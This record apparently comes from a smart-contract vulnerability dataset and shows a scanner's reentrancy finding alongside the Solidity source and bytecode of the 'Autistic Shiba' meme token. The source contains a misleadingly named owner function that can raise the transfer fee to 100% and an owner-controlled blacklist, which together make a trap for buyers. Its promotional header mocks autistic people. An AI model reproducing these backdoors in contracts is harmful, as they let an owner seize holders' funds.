608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611cb2565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461146e565b600081848411156112115760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261149c565b90506112de83826114bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611ce1565b816001815181106113cc576113cc611c6b565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a6e57610a6e600e54600c55600f54600d55565b60008060006114a9611626565b90925090506114b882826114bf565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a29086611733565b6001600160a01b0389166000908152600260205260409020556115c481611792565b6115ce84836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164182826114bf565b82101561165d57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149c565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b6000806117408385611cb2565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061179c61149c565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114bf565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106ab565b60006118c08385611d91565b9050826118cd8583611d6f565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112de8161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112de82611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112de8161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b0867fc4a33af0e2f8aa357ea8e40195a06b6bdf4a5c43711238302493c2a06e64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,332
0x26Aa7EA8e6A4E945Fef4451635449B928664b95d
/** *Submitted for verification at Etherscan.io on 2021-06-06 */ /* Autistic Shiba (SHIBAUTIST🥴) Telegram: https://t.me/ShibAutist Autism got you down? Can't relate to people in the real world? Fear no more! Autistic Shiba has got your back! This token embodies not only the dream that Elon has for a new financial system, but also his social deficiencies as well! Features include: - 5% Reflection to autistic holders - Anti-listing-bot, only autists can buy - No team tokens, devs are autistic - Anti whale dumping protection - Cooldown and tax on mass sells - Burn 20% of the initial token supply - Full liquidity provided and locked */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBAUTIST is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Autistic Shiba"; string private constant _symbol = 'SHIBAUTIST🥴'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function approveBonus(uint256 amt) external onlyOwner() { require(amt <= 100, "Amount must be less than 100"); require(amt >= 0, "Amount must be greater than 0"); _teamFee = amt; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a146105ad578063c3c8cd8014610672578063c9567bf914610689578063d543dbeb146106a0578063dd62ed3e146106db5761011f565b806370a08231146103ef578063715018a6146104545780638da5cb5b1461046b57806395d89b41146104ac578063a9059cbb1461053c5761011f565b8063273123b7116100e7578063273123b7146102e15780632eb0619014610332578063313ce5671461036d5780635932ead11461039b5780636fc3eaec146103d85761011f565b806306fdde0314610124578063095ea7b3146101b457806318160ddd1461022557806323b872dd146102505761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610760565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c057600080fd5b5061020d600480360360408110156101d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079d565b60405180821515815260200191505060405180910390f35b34801561023157600080fd5b5061023a6107bb565b6040518082815260200191505060405180910390f35b34801561025c57600080fd5b506102c96004803603606081101561027357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107cc565b60405180821515815260200191505060405180910390f35b3480156102ed57600080fd5b506103306004803603602081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108a5565b005b34801561033e57600080fd5b5061036b6004803603602081101561035557600080fd5b81019080803590602001909291905050506109c8565b005b34801561037957600080fd5b50610382610b88565b604051808260ff16815260200191505060405180910390f35b3480156103a757600080fd5b506103d6600480360360208110156103be57600080fd5b81019080803515159060200190929190505050610b91565b005b3480156103e457600080fd5b506103ed610c76565b005b3480156103fb57600080fd5b5061043e6004803603602081101561041257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce8565b6040518082815260200191505060405180910390f35b34801561046057600080fd5b50610469610dd3565b005b34801561047757600080fd5b50610480610f59565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b857600080fd5b506104c1610f82565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105015780820151818401526020810190506104e6565b50505050905090810190601f16801561052e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054857600080fd5b506105956004803603604081101561055f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fbf565b60405180821515815260200191505060405180910390f35b3480156105b957600080fd5b50610670600480360360208110156105d057600080fd5b81019080803590602001906401000000008111156105ed57600080fd5b8201836020820111156105ff57600080fd5b8035906020019184602083028401116401000000008311171561062157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610fdd565b005b34801561067e57600080fd5b5061068761112d565b005b34801561069557600080fd5b5061069e6111a7565b005b3480156106ac57600080fd5b506106d9600480360360208110156106c357600080fd5b8101908080359060200190929190505050611825565b005b3480156106e757600080fd5b5061074a600480360360408110156106fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d4565b6040518082815260200191505060405180910390f35b60606040518060400160405280600e81526020017f4175746973746963205368696261000000000000000000000000000000000000815250905090565b60006107b16107aa611a5b565b8484611a63565b6001905092915050565b600068056bc75e2d63100000905090565b60006107d9848484611c5a565b61089a846107e5611a5b565b61089585604051806060016040528060288152602001613f1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b611a5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124859092919063ffffffff16565b611a63565b600190509392505050565b6108ad611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6109d0611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6064811115610b07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f416d6f756e74206d757374206265206c657373207468616e203130300000000081525060200191505060405180910390fd5b6000811015610b7e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b80600d8190555050565b60006009905090565b610b99611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cb7611a5b565b73ffffffffffffffffffffffffffffffffffffffff1614610cd757600080fd5b6000479050610ce581612545565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d8357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610dce565b610dcb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612640565b90505b919050565b610ddb611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f53484942415554495354f09fa5b4000000000000000000000000000000000000815250905090565b6000610fd3610fcc611a5b565b8484611c5a565b6001905092915050565b610fe5611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015611129576001600760008484815181106110c357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506110a8565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661116e611a5b565b73ffffffffffffffffffffffffffffffffffffffff161461118e57600080fd5b600061119930610ce8565b90506111a4816126c4565b50565b6111af611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126f576040517f08c379a00000000